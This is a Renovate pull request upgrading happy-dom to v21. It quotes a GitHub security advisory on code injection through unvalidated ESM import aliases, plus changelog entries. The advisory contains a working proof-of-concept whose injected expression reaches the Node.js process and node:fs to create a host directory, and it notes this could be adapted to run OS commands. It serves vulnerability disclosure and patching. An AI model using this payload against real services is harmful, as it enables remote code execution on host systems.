[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	^20.11.1 → ^21.0.0
happy-dom	^20.9.0 → ^21.0.0

---

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

• happy-dom@17.0.0
• happy-dom@20.0.0
• happy-dom@20.1.0
• happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions

• JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
• Attacker-controlled HTML or module source is processed by Happy DOM.
• This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.

Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json

{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Create dep.json

{}

3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Create poc.mjs

import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Run the control test

npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC

node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF

Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record

• Testing date: 2026-09-17
• Duplicate check updated: 2026-09-20
• Platform: Windows 11
• Node.js: 24.14.1
• Latest tested package: happy-dom@20.14.5
• Source tag: v20.14.5
• Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
• First confirmed affected version: 17.0.0
• Confirmed unaffected version: 16.8.1
• Docker environment: Node 24 Alpine
• No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
• https://github.com/capricorn86/happy-dom/pull/2537
• https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
• https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4
• https://github.com/advisories/GHSA-834v-8h66-3h79

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

capricorn86/happy-dom (happy-dom)

v21.0.4

Compare Source

👷‍♂️ Patch fixes

• Fixed a code injection vulnerability in the ESM compiler - By @​capricorn86
• Fixed cross-origin isolation so opaque-origin data: iframes cannot access their parent or top window - By @​capricorn86

v21.0.3

Compare Source

👷‍♂️ Patch fixes

• Fixes security vulnerability where authorization header was forwarded when redirecting - By @​capricorn86

v21.0.2

Compare Source

👷‍♂️ Patch fixes

• Fixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in @​happy-dom/server-renderer - By @​capricorn86

v21.0.1

Compare Source

👷‍♂️ Patch fixes

• Adds aliases --css and --iframe for enabling CSS and iframe loading to @​happy-dom/server-renderer - By @​capricorn86

v21.0.0

Compare Source

💣 Breaking Changes

• Disables CSS and IFrame loading by default to prevent server-side request forgery (SSRF) - By @​capricorn86
  • An attacker could embed <iframe> or <link rel="stylesheet"> elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.
  • The settings property disableCSSFileLoading has been deprecated
  • Added the new settings properties enableCSSFileLoading and enableIframePageLoading
  • If you don't believe that you are at risk, you can keep the same behavior as in <=v20.14.6 by sending in { enableCSSFileLoading: true, enableIframePageLoading: true } as broswer settings (e.g. new Window({ settings }));

v20.14.6

Compare Source

👷‍♂️ Patch fixes

• Fixes cookie scope forgery vulnerability - By @​capricorn86

v20.14.5

Compare Source

👷‍♂️ Patch fixes

• Preserve character references in comment data - By @​hampustagerud in task #​2409

v20.14.4

Compare Source

👷‍♂️ Patch fixes

• End comments at the first comment end tag when it overlaps a comment start tag - By @​hampustagerud in task #​2407

v20.14.3

Compare Source

👷‍♂️ Patch fixes

• Avoids cloning all properties in CSSPropertyManager.toString - By @​erictheswift in task #​2363

v20.14.2

Compare Source

👷‍♂️ Patch fixes

• Fixes regression where not all CSS variables where resolved in getComputedStyle() - By @​klaesra in task #​2344

v20.14.1

Compare Source

👷‍♂️ Patch fixes

• Invalidate the computed style cache for the whole subtree - By @​matmannion and @​capricorn86 in task #​2366

v20.14.0

Compare Source

🎨 Features

• Improves computed style cache - By @​capricorn86 in task #​2357

v20.13.2

Compare Source

👷‍♂️ Patch fixes

• Fix problem with getComputedStyle with :host and :host-context selectors - By @​capricorn86 in task #​2349

v20.13.1

Compare Source

👷‍♂️ Patch fixes

• GetComputedStyle should return inherited value when it is set to inherit - By @​capricorn86 in task #​2347

v20.13.0

Compare Source

🎨 Features

• Adds support for :host psuedo query selector - By @​capricorn86 in task #​2345

v20.12.2

Compare Source

👷‍♂️ Patch fixes

• Custom elements should be upgraded when connected to DOM - By @​capricorn86 in task #​2342

v20.12.1

Compare Source

🎨 Features

• Adds support for kebab-case properties on CSSStyleDeclaration - By @​capricorn86 in task #​2256
• Adds support for all Chromium CSS properties to CSSStyleDeclaration - By @​capricorn86 in task #​2256
  • Downloads a list from the Chromium project when compiling

👷‍♂️ Patch fixes

• Fixes issue with parsing CSS fallback variables - By @​capricorn86 in task #​2256

v20.12.0

Compare Source

🎨 Features

• Adds support for Animation, AnimationTimeline, DocumentTimeline and KeyframeEffect - By @​capricorn86
• Adds support for Element.animate() - By @​capricorn86

v20.11.15

Compare Source

👷‍♂️ Patch fixes

• Fixes issue with upgrading custom element caused by previous release - By @​capricorn86 in task #​2331

v20.11.14

Compare Source

👷‍♂️ Patch fixes

• Change prototype of element to the custom element when upgraded to keep the reference - By @​capricorn86 in task #​2331
  • The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid

v20.11.13

Compare Source

👷‍♂️ Patch fixes

• Copy event listeners when upgrading a custom element - By @​capricorn86 in task #​2329

v20.11.12

Compare Source

👷‍♂️ Patch fixes

• Add check for if the node is still a parent during disconnect - By @​capricorn86 in task #​2322

v20.11.11

Compare Source

👷‍♂️ Patch fixes

• Use proxy as parent node in Node.connectedToNode - By @​diegohaz in task #​2253

v20.11.10

Compare Source

👷‍♂️ Patch fixes

• Return default validationMessage for built-in constraint violations - By @​mixelburg in task #​2187

v20.11.9

Compare Source

👷‍♂️ Patch fixes

• Make sure that the element has been upgraded before invoking reaction callback in custom elements - By @​capricorn86 in task #​2317

v20.11.8

Compare Source

👷‍♂️ Patch fixes

• Values pushed or assigned to the adoptedStyleSheet array should be validated - By @​capricorn86 in task #​2315

v20.11.7

Compare Source

👷‍♂️ Patch fixes

• The properties Document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets should validate it's value - By @​capricorn86 in task #​2313

v20.11.6

Compare Source

👷‍♂️ Patch fixes

• Updates docs for the global-registrator package - By @​capricorn86 in task #​2300

v20.11.5

Compare Source

👷‍♂️ Patch fixes

• Allow explicit element types for querySelector (e.g. querySelector<HTMLInputElement>(".my-input")) - By @​cyphercodes

v20.11.4

Compare Source

👷‍♂️ Patch fixes

• Fixes the CORS check fetch() to match origins instead of host and protocol - By @​rexxars in task #​1490

v20.11.3

Compare Source

👷‍♂️ Patch fixes

• Make document.links return a live HTMLCollection - By @​bangseongbeom in task #​2299
• Copy labels array to prevent mutation of cached querySelectorAll result - By @​mixelburg in task #​2226

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